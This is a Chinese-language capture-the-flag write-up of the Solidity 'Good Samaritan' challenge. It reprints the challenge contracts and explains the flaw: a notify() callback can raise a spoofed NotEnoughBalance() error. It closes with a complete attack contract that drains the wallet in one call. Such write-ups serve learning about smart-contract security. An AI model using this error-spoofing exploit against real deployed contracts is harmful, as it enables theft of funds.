Good Samaritan
1. 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts-08/utils/Address.sol";
contract GoodSamaritan { Wallet public wallet; Coin public coin;
constructor() { wallet = new Wallet(); coin = new Coin(address(wallet));
wallet.setCoin(coin); }
function requestDonation() external returns(bool enoughBalance){ // donate 10 coins to requester try wallet.donate10(msg.sender) { return true; } catch (bytes memory err) { if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) { // send the coins left wallet.transferRemainder(msg.sender); return false; } } } }
contract Coin { using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) { // one million coins for Good Samaritan initially balances[wallet_] = 10**6; }
function transfer(address dest_, uint256 amount_) external { uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough if(amount_ <= currentBalance) { balances[msg.sender] -= amount_; balances[dest_] += amount_;
if(dest_.isContract()) { // notify contract INotifyable(dest_).notify(amount_); } } else { revert InsufficientBalance(currentBalance, amount_); } } }
contract Wallet { // The owner of the wallet instance address public owner;
Coin public coin;
error OnlyOwner(); error NotEnoughBalance();
modifier onlyOwner() { if(msg.sender != owner) { revert OnlyOwner(); } _; }
constructor() { owner = msg.sender; }
function donate10(address dest_) external onlyOwner { // check balance left if (coin.balances(address(this)) < 10) { revert NotEnoughBalance(); } else { // donate 10 coins coin.transfer(dest_, 10); } }
function transferRemainder(address dest_) external onlyOwner { // transfer balance left coin.transfer(dest_, coin.balances(address(this))); }
function setCoin(Coin coin_) external onlyOwner { coin = coin_; } }
interface INotifyable { function notify(uint256 amount) external; }
|
2. 分析
简单分析各个合约的作用。
Wallet合约
- transferRemainder() :将钱包所有金额全部转移给
dest_
,调用者为合约所有者。
- setCoin():设置钱包中的货币地址,调用者为合约所用者。
- donate10():默认向指定地址转账 10tokens,当余额不足时,则会抛出自定义错误
NotEnoughBalance()
,调用者为合约所用者。
Coin合约
其只有一个函数,仔细分析该函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| function transfer(address dest_, uint256 amount_) external { uint256 currentBalance = balances[msg.sender]; // transfer only occurs if balance is enough if(amount_ <= currentBalance) { balances[msg.sender] -= amount_; balances[dest_] += amount_; if(dest_.isContract()) { // notify contract INotifyable(dest_).notify(amount_); } } else { revert InsufficientBalance(currentBalance, amount_); } }
|
该函数实现了一个转账的功能,当转账金额大于调用者的余额时则会报错。
否则正常执行,但如果目的地址是一个合约,则会执行INotifyable(dest_).notify(amount_);
,这是一个漏洞,一个安全隐患。
GoodSamaritan合约
分析函数
1 2 3 4 5 6 7 8 9 10 11 12
| function requestDonation() external returns(bool enoughBalance){ // donate 10 coins to requester try wallet.donate10(msg.sender) { return true; } catch (bytes memory err) { if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) { // send the coins left wallet.transferRemainder(msg.sender); return false; } } }
|
这是题目交互的合约,如果调用该函数返回NotEnoughBalance()
,则会将剩下的金额全部转给调用者。当然这种情况在钱包余额不足的时候才会发送。但是前面Coin
合约中有一个安全隐患,INotifyable(dest_).notify(amount_);
如果该函数返回 revert NotEnoughBalance();
便可以欺骗撒玛利亚人,让他乖乖的一次性将钱全部交出来。
不过值得注意的是,notify()
函数不能直接抛出异常,因为在执行wallet.transferRemainder(msg.sender);
中仍然会调用到notify()
3. 解题
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| contract Hack is INotifyable {
GoodSamaritan goodsamaritan; Coin coin;
constructor(address _goodsamaritan) { goodsamaritan = GoodSamaritan(_goodsamaritan); coin = goodsamaritan.coin(); }
error NotEnoughBalance();
function notify(uint256 amount) external { if (amount == 10) { revert NotEnoughBalance(); } }
function attack() public { goodsamaritan.requestDonation(); require(coin.balances(address(goodsamaritan.wallet())) == 0, "wallet is not null"); } }
|
通过实例部署攻击合约,调用attack()
函数即可完成攻击。